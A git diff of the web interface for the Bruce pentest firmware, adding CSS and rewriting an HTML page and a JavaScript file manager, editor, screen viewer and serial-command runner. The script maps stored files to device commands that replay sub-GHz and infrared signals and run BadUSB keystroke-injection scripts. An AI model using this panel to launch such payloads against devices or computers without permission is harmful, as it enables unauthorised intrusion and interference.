+.oinput-title { font-weight: 600; }
+.oinput-label { display: block; font-size: 12px; color: var(--text-sec); margin-bottom: 6px; font-weight: 500; }
+
+/* Selection for inputs */
+#force-reload { border: none; background: transparent; }
+#force-reload:hover { background: var(--surface-2); }
+
+/* Login specific */
+.login-wrapper {
+ min-height: 100vh; display: flex; align-items: center;
+ justify-content: center; padding: 16px;
+}
+.login-card {
+ background: var(--surface); border: 1px solid var(--border);
+ border-radius: var(--radius-xl); padding: 0; width: 100%; max-width: 360px;
+ box-shadow: var(--shadow-lg); overflow: hidden;
+}
+.login-card .dialog-head {
+ padding: 18px 20px; font-size: 18px; font-weight: 600;
+ border-bottom: 1px solid var(--border);
+}
+.login-card .dialog-footer {
+ padding: 16px 20px; border-top: 1px solid var(--border);
+ background: var(--surface-2);
+}
+.login-card .dialog-footer .btn { width: 100%; justify-content: center; padding: 10px; font-size: 14px; }
+.login-card .btn-primary {
+ background: var(--surface-2); color: var(--text);
+ border-color: var(--border); font-weight: 600;
+}
+.login-card .btn-primary:hover { background: var(--surface-hover); border-color: var(--border-light); }
+.login-card .dialog-body input[type="text"],
+.login-card .dialog-body input[type="password"] {
+ color: #fff !important; -webkit-text-fill-color: #fff !important;
+}
+
+input:-webkit-autofill,
+input:-webkit-autofill:hover,
+input:-webkit-autofill:focus,
+input:-webkit-autofill:active{
+ -webkit-box-shadow: 0 0 0 30px var(--background) inset !important;
+ -webkit-text-fill-color: var(--text) !important;
+ transition: background-color 5000s ease-in-out 0s;
+}
+
+#notice {
+ padding: 10px 14px; border-radius: var(--radius);
+ background: rgba(239,68,68,.1); border: 1px solid rgba(239,68,68,.2);
+ color: var(--danger); font-size: 13px; font-weight: 500; margin-bottom: 8px;
+}
+#notice.success-notice {
+ background: color-mix(in srgb, var(--color) 10%, transparent);
+ border-color: color-mix(in srgb, var(--color) 20%, transparent);
+ color: var(--color);
+}
+
+/* Responsive */
+@media (max-width: 768px) {
+ .app { padding: 12px; }
+ .storage-section { grid-template-columns: 1fr 1fr; gap: 8px; }
+ .storage-card { padding: 10px 12px; min-height: 64px; gap: 10px; }
+ .storage-icon { width: 34px; height: 34px; border-radius: 8px; }
+ .storage-icon svg { width: 16px; height: 16px; }
+ .storage-name { font-size: 12px; }
+ .storage-usage { font-size: 10px; }
+ .toolbar { flex-wrap: wrap; gap: 8px; }
+ .toolbar-right { width: 100%; }
+ .search-input { width: 120px; }
+ .search-input:focus { width: 150px; }
+ .col-action { width: 110px; }
+ .col-size { width: 70px; }
+ .header-nav {
+ display: none; position: fixed; top: 52px; left: 12px; right: 12px;
+ flex-direction: column; background: var(--surface);
+ border: 1px solid var(--border); border-radius: var(--radius-lg);
+ padding: 6px; z-index: 100; box-shadow: var(--shadow-lg);
+ animation: slideDown .2s ease;
+ }
+ .header-nav.open { display: flex; }
+ .header-nav .btn { width: 100%; justify-content: center; }
+ .mobile-menu-btn { display: flex !important; }
+ .multi-bar { flex-direction: column; gap: 8px; }
+ .multi-bar-left, .multi-bar-right { width: 100%; justify-content: center; }
+ .table tbody td { padding: 6px 10px; }
+ .table thead th { padding: 8px 10px; }
+ .dialog { max-width: calc(100vw - 32px); }
+}
+@media (max-width: 480px) {
+ .storage-section { grid-template-columns: 1fr; gap: 8px; }
+ .toolbar-divider { display: none; }
+ .search-input { width: 100px; }
+ .search-input:focus { width: 130px; }
+ .col-check { width: 32px; }
+ .col-name { font-size: 12px; }
+}
+
+:focus-visible { outline: 2px solid var(--color); outline-offset: 2px; }
+button:focus:not(:focus-visible), a:focus:not(:focus-visible) { outline: none; }
diff --git a/embedded_resources/web_interface/index.html b/embedded_resources/web_interface/index.html
index 5290300b6..6d794eb02 100644
--- a/embedded_resources/web_interface/index.html
+++ b/embedded_resources/web_interface/index.html
@@ -1,700 +1,353 @@
-
-
-
-
-
- Bruce
-
-
-
-
-
-
-
-
-
- SDCard [0 MB ]
-
-
- LittleFS [0 MB ]
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- LittleFS://
-
-
-
-
-
-
-
- Name
- Size
- Action
-
-
-
-
-
-
-
-
-
- ..
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Settings
-
-
- Change WebUI Credentials
-
-
- Reboot
-
-
-
-
-
Navigator Shortcut
-
-
- You can use a keyboard for navigating instead of the on-screen
- buttons
-
-
- Navigating = Arrow Keys
- Back = Backspace
- OK = Enter
- Long Press = M
- Page Up = Page Up
- Page Down = Page Down
- Close Navigator = Escape
- Reload Screen = R
-
-
-
-
-
-
-
Device Navigator
-
-
-
-
-
-
-
- Reload After Navigate
- Auto Reload: 1s
- Auto Reload: 2s
- Auto Reload: 5s
- Auto Reload: 10s
-
-
-
-
-
- ⚠️ WiFi features will stop the WebUI after configuration
-
-
-
-
-
-
-
-
Info
-
-
- Firmware for offensive pranks, pentest studies and analysis - for
- educational purposes only. Do not use in environments where you are
- not allowed. All responsibilities for irresponsible usage of this
- firmware rest on your fin, sharky.
-
-
Sincerely, Bruce.
-
- You can help develop the WebUI interface using
- Custom WebUI
- or
- Local Bruce WebUI
- by lshaf .
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+ Bruce
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0 selected
+
+
+
+
+ Delete Selected
+
+
Cancel
+
+
+
+
+
+
+
No files match your filter
+
+
+
+
+
+
+
+
+
+
+
+
+ Uploading Files
+ 0 / 0
+
+
+
+
+
+
+
+
Settings
+
+ Change Credentials
+
+ Reboot Device
+
+
+
+
+
+
Keyboard Shortcuts
+
+
Navigate using your keyboard:
+
+ Navigate Arrow Keys
+ Select / OK Enter
+ Back Backspace
+ Long Press M
+ Page Up Page Up
+ Page Down Page Down
+ Reload Screen R
+ Close Escape
+
+
+
+
+
+
+
+
Device Navigator
+
+
+
+
+
+ After Navigate
+ Auto: 1s
+ Auto: 2s
+ Auto: 5s
+ Auto: 10s
+
+
+
+
+
+
+
+
+
About Bruce
+
+
Firmware for offensive pranks, pentest studies and analysis — for educational purposes only. Do not use in
+ environments where you are not allowed. All responsibilities for irresponsible usage rest on your fin, sharky.
+
Sincerely, Bruce.
+
Customize the WebUI: Custom WebUI
+ • Local Bruce WebUI by
+ lshaf .
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/embedded_resources/web_interface/index.js b/embedded_resources/web_interface/index.js
index fd6160294..8f4ba03ee 100644
--- a/embedded_resources/web_interface/index.js
+++ b/embedded_resources/web_interface/index.js
@@ -1,1723 +1,1661 @@
-function $(s) {
- return document.querySelector(s);
-}
-const IS_DEV = window.location.host === "127.0.0.1:8080";
-const T = {
- master: $("#t"),
- fileRow: function () {
- const tmp = document.createElement("template");
- tmp.innerHTML =
- this.master.content.querySelector("table tr.file-row").outerHTML;
- return tmp.content;
- },
- pathRow: function () {
- const tmp = document.createElement("template");
- tmp.innerHTML =
- this.master.content.querySelector("table tr.path-row").outerHTML;
- return tmp.content;
- },
- uploadLoading: function () {
- const tmp = document.createElement("template");
- tmp.innerHTML =
- this.master.content.querySelector(".upload-loading").outerHTML;
- return tmp.content;
- },
-};
-
-const EXECUTABLE = {
- ir: "ir tx_from_file",
- sub: "subghz tx_from_file",
- js: "js run_from_file",
- bjs: "js run_from_file",
- txt: "badusb run_from_file",
- mp3: "play",
- wav: "play",
-};
-
-const Dialog = {
- _bg: function (show) {
- let bg = $(".dialog-background");
- let dialogs = document.querySelectorAll(".dialog");
- dialogs.forEach((dialog) => {
- if (!dialog.classList.contains("hidden")) dialog.classList.add("hidden");
- });
- if (show) {
- bg.classList.remove("hidden");
- } else {
- bg.classList.add("hidden");
- }
- },
- show: function (dialogName) {
- this._bg(true);
- let dialog = $(".dialog." + dialogName);
- dialog.classList.remove("hidden");
- },
- hide: function () {
- this._bg(false);
- this.loading.hide();
-
- if (currentDrive && currentPath) {
- updateURL(currentDrive, currentPath, null);
- }
- },
- loading: {
- show: function (message) {
- $(".loading-area").classList.remove("hidden");
- $(".loading-area .text").textContent = message || "Loading...";
- },
- hide: function () {
- $(".loading-area").classList.add("hidden");
- },
- },
- showOneInput: function (name, inputVal, data) {
- const dbForm = {
- renameFolder: {
- title: "Rename Folder: " + inputVal,
- label: `New Folder Name:`,
- action: "Rename",
- },
- renameFile: {
- title: "Rename File: " + inputVal,
- label: `New File Name:`,
- action: "Rename",
- },
- createFolder: {
- title: "Create Folder",
- label: `Folder Name:`,
- action: "Create Folder",
- },
- createFile: {
- title: "Create File",
- label: `File Name:`,
- action: "Create File",
- },
- serial: {
- title: "Serial Command",
- label: `Command:`,
- action: "Run",
- },
- };
-
- let config = dbForm[name];
- if (!config) {
- alert("Invalid dialog name: " + name);
- console.error("Dialog.showOneInput: Invalid dialog name", name);
- return;
- }
-
- let dialog = $(".dialog.oinput");
- dialog.setAttribute("data-cache", data);
- dialog.querySelector(".oinput-title").textContent = config.title;
- dialog.querySelector(".oinput-label").textContent = config.label;
- dialog.querySelector("#oinput-input").value = inputVal;
- dialog.querySelector(".act-save-oinput-file").textContent = config.action;
- this.show("oinput");
- dialog.querySelector("#oinput-input").select();
- return dialog;
- },
-};
-
-function handleAuthError() {
- if (
- confirm(
- "Session expired or unauthorized. Would you like to go to the login page?",
- )
- ) {
- window.location.href = "/";
- } else {
- Dialog.loading.hide();
- }
-}
-
-async function requestGet(url, data) {
- return new Promise((resolve, reject) => {
- let req = new XMLHttpRequest();
- let realUrl = url;
- if (IS_DEV) realUrl = "/bruce" + url;
- if (data) {
- let urlParams = new URLSearchParams(data);
- realUrl += "?" + urlParams.toString();
- }
- req.open("GET", realUrl, true);
- req.onload = () => {
- if (req.status >= 200 && req.status < 300) {
- resolve(req.responseText);
- } else if (req.status === 401) {
- handleAuthError();
- reject(new Error(`Unauthorized access (401)`));
- } else {
- reject(new Error(`Request failed with status ${req.status}`));
- }
- };
- req.onerror = () => {
- reject(new Error("Network error"));
- };
- req.send();
- });
-}
-
-async function requestPost(url, data) {
- return new Promise((resolve, reject) => {
- let fd = new FormData();
- for (let key in data) {
- if (data.hasOwnProperty(key)) fd.append(key, data[key]);
- }
-
- let realUrl = url;
- if (IS_DEV) realUrl = "/bruce" + url;
- let req = new XMLHttpRequest();
- req.open("POST", realUrl, true);
- req.onload = () => {
- if (req.status >= 200 && req.status < 300) {
- resolve(req.responseText);
- } else if (req.status === 401) {
- handleAuthError();
- reject(new Error(`Unauthorized access (401)`));
- } else {
- reject(new Error(`Request failed with status ${req.status}`));
- }
- };
- req.onerror = () => reject(new Error("Network error"));
- req.send(fd);
- });
-}
-
-function stringToId(str) {
- let hash = 0,
- i,
- chr;
- if (str.length === 0) return hash.toString();
- for (i = 0; i < str.length; i++) {
- chr = str.charCodeAt(i);
- hash = (hash << 5) - hash + chr;
- hash |= 0; // Convert to 32bit integer
- }
- return "id_" + Math.abs(hash);
-}
-
-const _queueUpload = [];
-let _runningUpload = false;
-function appendFileToQueue(files) {
- Dialog.show("upload");
- let d = $(".dialog.upload");
- for (let i = 0; i < files.length; i++) {
- let file = files[i];
- let filename = file.webkitRelativePath || file.name;
- let fileId = stringToId(filename);
- let progressBar = T.uploadLoading();
- progressBar.querySelector(".upload-name").textContent = filename;
- progressBar
- .querySelector(".upload-loading .bar")
- .setAttribute("id", fileId);
-
- d.querySelector(".dialog-body").appendChild(progressBar);
- }
-}
-async function appendDroppedFiles(entry) {
- return new Promise((resolve, reject) => {
- if (entry.isFile) {
- entry.file((file) => {
- let fileWithPath = new File([file], entry.fullPath.substring(1), {
- type: file.type,
- });
- appendFileToQueue([fileWithPath]);
- _queueUpload.push(fileWithPath);
- resolve();
- });
- } else if (entry.isDirectory) {
- let proms = [];
- let reader = entry.createReader();
- reader.readEntries((entries) => {
- for (let e of entries) proms.push(appendDroppedFiles(e));
- });
-
- Promise.all(proms).then(resolve);
- }
- });
-}
-async function uploadFile() {
- if (_queueUpload.length === 0) {
- _runningUpload = false;
- $(".dialog.upload .dialog-body").innerHTML = "";
- fetchSystemInfo();
- fetchFiles(currentDrive, currentPath);
- Dialog.hide();
- return;
- }
-
- return new Promise((resolve, reject) => {
- _runningUpload = true;
- let file = _queueUpload.shift();
- let fd = new FormData();
- let filename = file.webkitRelativePath || file.name;
- let fileId = stringToId(filename);
- fd.append("file", file, filename);
- fd.append("folder", currentPath);
- fd.append("fs", currentDrive);
-
- let realUrl = `/upload`;
- if (IS_DEV) realUrl = "/bruce" + realUrl;
- let req = new XMLHttpRequest();
- req.upload.onprogress = (e) => {
- if (e.lengthComputable) {
- var percent = (e.loaded / e.total) * 100;
- $("#" + fileId).style.width = Math.round(percent) + "%";
- }
- };
- req.onload = () => {
- uploadFile();
- if (req.status >= 200 && req.status < 300) {
- resolve(req.responseText);
- } else {
- reject();
- }
- };
- req.onabort = () => reject();
- req.onerror = () => reject();
- req.open("POST", realUrl, true);
- req.send(fd);
- });
-}
-
-async function runCommand(cmd) {
- Dialog.loading.show("Running command...");
- try {
- await requestPost("/cm", { cmnd: cmd });
- } catch (error) {
- alert("Failed to run command: " + error.message);
- } finally {
- Dialog.loading.hide();
- }
-}
-
-function getSerialCommand(fileName) {
- let extension = fileName.split(".");
- if (extension.length > 1) {
- extension = extension[extension.length - 1].toLowerCase();
- return EXECUTABLE[extension];
- }
-
- return undefined;
-}
-
-function calcHash(str) {
- let hash = 5381;
- str = str.replace(/\r\n/g, "\n").replace(/\r/g, "\n");
- for (let i = 0; i < str.length; i++) {
- hash = ((hash << 5) + hash) ^ str.charCodeAt(i); // djb2 xor variant
- hash = hash >>> 0; // force unsigned 32-bit
- }
-
- return hash.toString(16).padStart(8, "0");
-}
-
-// Line numbers functionality
-function updateLineNumbers() {
- const textarea = $(".dialog.editor .file-content");
- const lineNumbers = $(".dialog.editor .line-numbers");
-
- if (!textarea || !lineNumbers) return;
-
- const lines = textarea.value.split("\n");
- const lineCount = lines.length;
-
- // Generate line numbers
- let lineNumbersHTML = "";
- for (let i = 1; i <= lineCount; i++) {
- lineNumbersHTML += i + "\n";
- }
-
- lineNumbers.textContent = lineNumbersHTML;
-}
-
-function syncScrolling() {
- const textarea = $(".dialog.editor .file-content");
- const lineNumbers = $(".dialog.editor .line-numbers");
-
- if (!textarea || !lineNumbers) return;
-
- lineNumbers.scrollTop = textarea.scrollTop;
-}
-
-function renderFileRow(fileList) {
- $("table.explorer tbody").innerHTML = "";
- fileList
- .split("\n")
- .sort((a, b) => {
- let [aFirst, ...aRest] = a.split(":");
- let [bFirst, ...bRest] = b.split(":");
-
- if (aFirst !== bFirst) {
- return bFirst.localeCompare(aFirst);
- }
-
- let aRestStr = aRest.join(":").toLowerCase();
- let bRestStr = bRest.join(":").toLowerCase();
- return aRestStr.localeCompare(bRestStr);
- })
- .forEach((line) => {
- let e;
- let [type, name, size] = line.split(":");
- if (size === undefined) return;
- let dPath = (
- (currentPath.endsWith("/") ? currentPath : currentPath + "/") + name
- ).replace(/\/\//g, "/");
- if (type === "pa") {
- if (dPath === "/") return;
- e = T.pathRow();
- let preFolder = currentPath.substring(0, currentPath.lastIndexOf("/"));
- if (preFolder === "") preFolder = "/";
- e.querySelector(".path-row").setAttribute("data-path", preFolder);
- e.querySelector(".path-row td").classList.add("act-browse");
- } else if (type === "Fi") {
- e = T.fileRow();
- e.querySelector(".file-row").setAttribute("data-file", dPath);
- e.querySelector(".act-rename").setAttribute(
- "data-action",
- "renameFile",
- );
- e.querySelector(".col-name").classList.add("act-edit-file");
- e.querySelector(".col-name").textContent = name;
- e.querySelector(".col-name").setAttribute("title", name);
- e.querySelector(".col-size").textContent = size;
- e.querySelector(".col-action").classList.add("type-file");
-
- let downloadUrl = `/file?fs=${currentDrive}&name=${encodeURIComponent(dPath)}&action=download`;
- if (IS_DEV) downloadUrl = "/bruce" + downloadUrl;
- e.querySelector(".act-download").setAttribute("download", name);
- e.querySelector(".act-download").setAttribute("href", downloadUrl);
-
- let serialCmd = getSerialCommand(name);
- if (serialCmd) {
- e.querySelector(".act-play").setAttribute(
- "data-cmd",
- serialCmd + ' "' + dPath + '"',
- );
- e.querySelector(".col-action").classList.add("executable");
- }
- } else if (type === "Fo") {
- e = T.fileRow();
- e.querySelector(".col-name").classList.add("act-browse");
- e.querySelector(".file-row").setAttribute("data-path", dPath);
- e.querySelector(".act-rename").setAttribute(
- "data-action",
- "renameFolder",
- );
- e.querySelector(".col-name").textContent = name;
- e.querySelector(".col-name").setAttribute("title", name);
- e.querySelector(".col-action").classList.add("type-folder");
- }
- $("table.explorer tbody").appendChild(e);
- });
-}
-
-let sdCardAvailable = false;
-let currentDrive;
-let currentPath;
-const btnRefreshFolder = $("#refresh-folder");
-
-// URL state management
-function updateURL(drive, path, editFile = null) {
- const params = new URLSearchParams();
- if (drive) params.set("drive", drive);
- if (path && path !== "/") params.set("path", path);
- if (editFile) params.set("edit", editFile);
-
- const newURL =
- window.location.pathname +
- (params.toString() ? "?" + params.toString() : "");
- window.history.replaceState({ drive, path, editFile }, "", newURL);
-}
-
-function getURLParams() {
- const params = new URLSearchParams(window.location.search);
- return {
- drive: params.get("drive"),
- path: params.get("path") || "/",
- editFile: params.get("edit"),
- };
-}
-
-async function fetchFiles(drive, path) {
- btnRefreshFolder.classList.add("reloading");
- $("table.explorer tbody").innerHTML =
- 'Loading... ';
- currentDrive = drive;
- currentPath = path;
-
- // Update URL state (preserving edit file if still valid)
- const urlParams = getURLParams();
- updateURL(drive, path, urlParams.editFile);
-
- $(`.act-browse.active`)?.classList.remove("active");
- $(`.act-browse[data-drive='${drive}']`).classList.add("active");
- $(".current-path").textContent = drive + ":/" + path;
- let req = await requestGet("/listfiles", {
- fs: drive,
- folder: path,
- });
- renderFileRow(req);
- btnRefreshFolder.classList.remove("reloading");
-}
-
-async function fetchSystemInfo() {
- Dialog.loading.show("Fetching system info...");
- let req = await requestGet("/systeminfo");
- let info = JSON.parse(req);
- $(".bruce-version").textContent = info.BRUCE_VERSION;
- $(".free-space .free-sd span").innerHTML =
- `${info.SD.used} / ${info.SD.total}`;
- $(".free-space .free-fs span").innerHTML =
- `${info.LittleFS.used} / ${info.LittleFS.total}`;
- sdCardAvailable = info.SD.total != "0 B";
- Dialog.loading.hide();
-}
-
-async function saveEditorFile(runFile = false) {
- Dialog.loading.show("Saving...");
- let editor = $(".dialog.editor .file-content");
- let filename = $(".dialog.editor .editor-file-name").textContent.trim();
- if (isModified(editor)) {
- $(".act-save-edit-file").disabled = true;
- editor.setAttribute("data-hash", calcHash(editor.value));
- await requestPost("/edit", {
- fs: currentDrive,
- name: filename,
- content: editor.value,
- });
- }
-
- if (runFile) {
- let serial = getSerialCommand(filename);
- if (serial !== undefined) {
- await runCommand(serial + ' "' + filename + '"');
- }
- }
- Dialog.loading.hide();
-}
-
-function isModified(target) {
- let oldHash = target.getAttribute("data-hash");
- let newHash = calcHash(target.value);
- return oldHash !== newHash;
-}
-
-async function openNavigator() {
- Dialog.show("navigator");
- await reloadScreen();
- autoReloadScreen();
-}
-
-let SCREEN_NAVIGATING = false;
-async function runNavigation(direction) {
- if (SCREEN_NAVIGATING) return;
- SCREEN_NAVIGATING = true;
- try {
- drawCanvasLoading();
- await requestPost("/cm", { cmnd: `nav ${direction.toLowerCase()}` });
- await reloadScreen();
- } catch (error) {
- alert("Failed to run command: " + error.message);
- console.error(error);
- } finally {
- SCREEN_NAVIGATING = false;
- }
-}
-
-const btnForceReload = $("#force-reload");
-let SCREEN_RELOAD = false;
-async function reloadScreen() {
- if (SCREEN_RELOAD) return;
- SCREEN_RELOAD = true;
- btnForceReload.classList.add("reloading");
- try {
- let binResponse = await fetch((IS_DEV ? "/bruce" : "") + "/getscreen");
- let arrayBuffer = await binResponse.arrayBuffer();
- let screenData = new Uint8Array(arrayBuffer);
- await renderTFT(screenData);
- } catch (error) {
- console.error("Failed to reload screen:", error);
- alert("Failed to reload screen: " + error.message);
- } finally {
- btnForceReload.classList.remove("reloading");
- SCREEN_RELOAD = false;
- }
-}
-
-const eConfigAutoReload = $("#navigator-auto-reload");
-let AUTO_RELOAD_SCREEN = null;
-async function taskReloader() {
- let timer = parseInt(eConfigAutoReload.value);
- let navigatorOpen = $(".dialog.navigator:not(.hidden)");
- if (timer <= 0 || !navigatorOpen) {
- if (AUTO_RELOAD_SCREEN) {
- clearTimeout(AUTO_RELOAD_SCREEN);
- AUTO_RELOAD_SCREEN = null;
- }
-
- return;
- }
-
- await reloadScreen();
- setTimeout(taskReloader, timer);
- // better use setTimeout instead of setInterval to avoid overlapping calls
-}
-async function autoReloadScreen() {
- let timer = parseInt(eConfigAutoReload.value);
-
- if (AUTO_RELOAD_SCREEN) {
- clearTimeout(AUTO_RELOAD_SCREEN);
- AUTO_RELOAD_SCREEN = null;
- }
-
- if (timer > 0) taskReloader();
-}
-
-/// TFT RENDER
-let loadingDrawn = false;
-const imageCache = {}; // global
-async function renderTFT(data) {
- loadingDrawn = false;
- const canvas = $("#navigator-screen");
- const ctx = canvas.getContext("2d");
-
- const loadImage = async (url) => {
- if (imageCache[url]) return imageCache[url];
- return new Promise((resolve, reject) => {
- const img = new Image();
- img.onload = () => {
- imageCache[url] = img;
- resolve(img);
- };
- img.onerror = (err) => reject(err);
- img.src = url;
- });
- };
-
- const drawImageCached = async (img_url, input) => {
- if (IS_DEV) img_url = "/bruce" + img_url;
- let img = await loadImage(img_url);
- let drawX = input.x;
- let drawY = input.y;
-
- if (input.center === 1) {
- drawX += (canvas.width - img.width) / 2;
- drawY += (canvas.height - img.height) / 2;
- }
- ctx.drawImage(img, drawX, drawY);
- };
-
- const color565toCSS = (color565) => {
- const r = (((color565 >> 11) & 0x1f) * 255) / 31;
- const g = (((color565 >> 5) & 0x3f) * 255) / 63;
- const b = ((color565 & 0x1f) * 255) / 31;
- return `rgb(${r},${g},${b})`;
- };
-
- const drawRoundRect = (ctx, input, fill) => {
- const { x, y, w, h, r } = input;
- ctx.beginPath();
- ctx.moveTo(x + r, y);
- ctx.arcTo(x + w, y, x + w, y + h, r);
- ctx.arcTo(x + w, y + h, x, y + h, r);
- ctx.arcTo(x, y + h, x, y, r);
- ctx.arcTo(x, y, x + w, y, r);
- ctx.closePath();
- if (fill) ctx.fill();
- else ctx.stroke();
- };
-
- let startData = 0;
- const getByteValue = (dataType) => {
- if (dataType === "int8") {
- return data[startData++];
- } else if (dataType === "int16") {
- let value = (data[startData] << 8) | data[startData + 1];
- startData += 2;
- return value;
- } else if (dataType.startsWith("s")) {
- let strLength = parseInt(dataType.substring(1));
- let strBytes = data.slice(startData, startData + strLength);
- startData += strLength;
- return new TextDecoder().decode(strBytes);
- }
- };
-
- const byteToObject = (fn, size) => {
- let keysMap = {
- 0: ["fg"], // FILLSCREEN
- 1: ["x", "y", "w", "h", "fg"], // DRAWRECT
- 2: ["x", "y", "w", "h", "fg"], // FILLRECT
- 3: ["x", "y", "w", "h", "r", "fg"], // DRAWROUNDRECT
- 4: ["x", "y", "w", "h", "r", "fg"], // FILLROUNDRECT
- 5: ["x", "y", "r", "fg"], // DRAWCIRCLE
- 6: ["x", "y", "r", "fg"], // FILLCIRCLE
- 7: ["x", "y", "x2", "y2", "x3", "y3", "fg"], // DRAWTRIANGLE
- 8: ["x", "y", "x2", "y2", "x3", "y3", "fg"], // FILLTRIANGLE
- 9: ["x", "y", "rx", "ry", "fg"], // DRAWELLIPSE
- 10: ["x", "y", "rx", "ry", "fg"], // FILLELLIPSE
- 11: ["x", "y", "x1", "y1", "fg"], // DRAWLINE
- 12: ["x", "y", "r", "ir", "startAngle", "endAngle", "fg", "bg"], // DRAWARC
- 13: ["x", "y", "bx", "by", "wd", "fg", "bg"], // DRAWWIDELINE
- 14: ["x", "y", "size", "fg", "bg", "txt"], // DRAWCENTRESTRING
- 15: ["x", "y", "size", "fg", "bg", "txt"], // DRAWRIGHTSTRING
- 16: ["x", "y", "size", "fg", "bg", "txt"], // DRAWSTRING
- 17: ["x", "y", "size", "fg", "bg", "txt"], // PRINT
- 18: ["x", "y", "center", "ms", "fs", "file"], // DRAWIMAGE
- 20: ["x", "y", "h", "fg"], // DRAWFASTVLINE
- 21: ["x", "y", "w", "fg"], // DRAWFASTHLINE
- 99: ["w", "h", "rotation"], // SCREEN_INFO
- };
-
- let r = {};
- let lengthLeft = size - 3;
- for (let key of keysMap[fn]) {
- if (["txt", "file"].includes(key)) {
- r[key] = getByteValue(`s${lengthLeft}`);
- } else if (["rotation", "fs"].includes(key)) {
- lengthLeft -= 1;
- r[key] = getByteValue("int8");
- if (key === "fs") {
- r[key] = r[key] === 0 ? "SD" : "FS"; // 0 for SD, 1 for FS
- }
- } else {
- lengthLeft -= 2;
- r[key] = getByteValue("int16");
- }
- }
- return r;
- };
-
- let offset = 0;
- ctx.clearRect(0, 0, canvas.width, canvas.height);
- let screenText = []; // Collect all text rendered on screen
-
- while (offset < data.length) {
- ctx.beginPath();
- if (data[offset] !== 0xaa) {
- console.warn("Invalid header at offset", offset);
- break;
- }
-
- startData = offset + 1;
- let size = getByteValue("int8");
- let fn = getByteValue("int8");
- offset += size;
-
- let input = byteToObject(fn, size);
- // reset to default before drawing again
- ctx.lineWidth = 1;
- ctx.fillStyle = "black";
- ctx.strokeStyle = "black";
- switch (fn) {
- case 99: // SCREEN_INFO
- canvas.width = input.w;
- canvas.height = input.h;
- case 0: // FILLSCREEN
- ctx.fillStyle = color565toCSS(input.fg);
- ctx.fillRect(0, 0, canvas.width, canvas.height);
- break;
-
- case 1: // DRAWRECT
- ctx.strokeStyle = color565toCSS(input.fg);
- ctx.strokeRect(input.x, input.y, input.w, input.h);
- break;
-
- case 2: // FILLRECT
- ctx.fillStyle = color565toCSS(input.fg);
- ctx.fillRect(input.x, input.y, input.w, input.h);
- break;
-
- case 3: // DRAWROUNDRECT
- ctx.strokeStyle = color565toCSS(input.fg);
- drawRoundRect(ctx, input, false);
- break;
-
- case 4: // FILLROUNDRECT
- ctx.fillStyle = color565toCSS(input.fg);
- drawRoundRect(ctx, input, true);
- break;
-
- case 5: // DRAWCIRCLE
- ctx.strokeStyle = color565toCSS(input.fg);
- ctx.arc(input.x, input.y, input.r, 0, Math.PI * 2);
- ctx.stroke();
- break;
-
- case 6: // FILLCIRCLE
- ctx.fillStyle = color565toCSS(input.fg);
- ctx.arc(input.x, input.y, input.r, 0, Math.PI * 2);
- ctx.fill();
- break;
- case 7: // DRAWTRIANGLE
- ctx.strokeStyle = color565toCSS(input.fg);
- ctx.beginPath();
- ctx.moveTo(input.x, input.y);
- ctx.lineTo(input.x2, input.y2);
- ctx.lineTo(input.x3, input.y3);
- ctx.closePath();
- ctx.stroke();
- break;
-
- case 8: // FILLTRIANGLE
- ctx.fillStyle = color565toCSS(input.fg);
- ctx.beginPath();
- ctx.moveTo(input.x, input.y);
- ctx.lineTo(input.x2, input.y2);
- ctx.lineTo(input.x3, input.y3);
- ctx.closePath();
- ctx.fill();
- break;
- case 9: // DRAWELLIPSE
- ctx.strokeStyle = color565toCSS(input.fg);
- ctx.beginPath();
- ctx.ellipse(input.x, input.y, input.rx, input.ry, 0, 0, Math.PI * 2);
- ctx.stroke();
- break;
-
- case 10: // FILLELLIPSE
- ctx.fillStyle = color565toCSS(input.fg);
- ctx.beginPath();
- ctx.ellipse(input.x, input.y, input.rx, input.ry, 0, 0, Math.PI * 2);
- ctx.fill();
- break;
-
- case 11: // DRAWLINE
- ctx.strokeStyle = color565toCSS(input.fg);
- ctx.moveTo(input.x, input.y);
- ctx.lineTo(input.x1, input.y1);
- ctx.stroke();
- break;
-
- case 12: // DRAWARC
- ctx.strokeStyle = color565toCSS(input.fg);
- ctx.lineWidth = input.r - input.ir || 1;
- const sa = ((input.startAngle + 90 || 0) * Math.PI) / 180;
- const ea = ((input.endAngle + 90 || 0) * Math.PI) / 180;
- const radius = (input.r + input.ir) / 2;
- ctx.beginPath();
- ctx.arc(input.x, input.y, radius, sa, ea);
- ctx.stroke();
- break;
-
- case 13: // DRAWWIDELINE
- ctx.strokeStyle = color565toCSS(input.fg);
- ctx.lineWidth = input.wd || 1;
- ctx.moveTo(input.x, input.y);
- ctx.lineTo(input.bx, input.by);
- ctx.stroke();
- break;
-
- case 14: // DRAWCENTRESTRING
- case 15: // DRAWRIGHTSTRING
- case 16: // DRAWSTRING
- case 17: // PRINT
- // This must be enhanced to make font width be multiple of 6px, the font used here is multiple of 4.5px,
- // "\n" are not treated, and long lines do not split into multi lines..
- if (input.bg == input.fg) {
- input.bg = 0;
- }
- ctx.fillStyle = color565toCSS(input.bg);
-
- input.txt = input.txt.replaceAll("\\n", ""); // remove new lines
- screenText.push(input.txt); // Collect text for WiFi detection
-
- var fw = input.size === 3 ? 13.5 : input.size === 2 ? 9 : 4.5;
- var o = 0;
- if (fn === 15) o = input.txt.length * fw;
- if (fn === 14) o = (input.txt.length * fw) / 2;
- // draw a rectangle at the text area, to avoid overlapping texts
- ctx.fillRect(
- input.x - o,
- input.y,
- input.txt.length * fw,
- input.size * 8,
- );
-
- ctx.fillStyle = color565toCSS(input.fg);
- ctx.font = `${input.size * 8}px monospace`;
- ctx.textBaseline = "top";
- ctx.textAlign = fn === 14 ? "center" : fn === 15 ? "right" : "left";
- ctx.fillText(input.txt, input.x, input.y);
- break;
-
- case 18: // DRAWIMAGE
- let url = `/file?fs=${input.fs}&name=${encodeURIComponent(input.file)}&action=image`;
- await drawImageCached(url, input);
- break;
-
- case 19: // DRAWPIXEL
- ctx.fillStyle = color565toCSS(input.fg);
- ctx.fillRect(input.x, input.y, 1, 1);
- break;
- case 20: // DRAWFASTVLINE
- ctx.fillStyle = color565toCSS(input.fg);
- ctx.fillRect(input.x, input.y, 1, input.h);
- break;
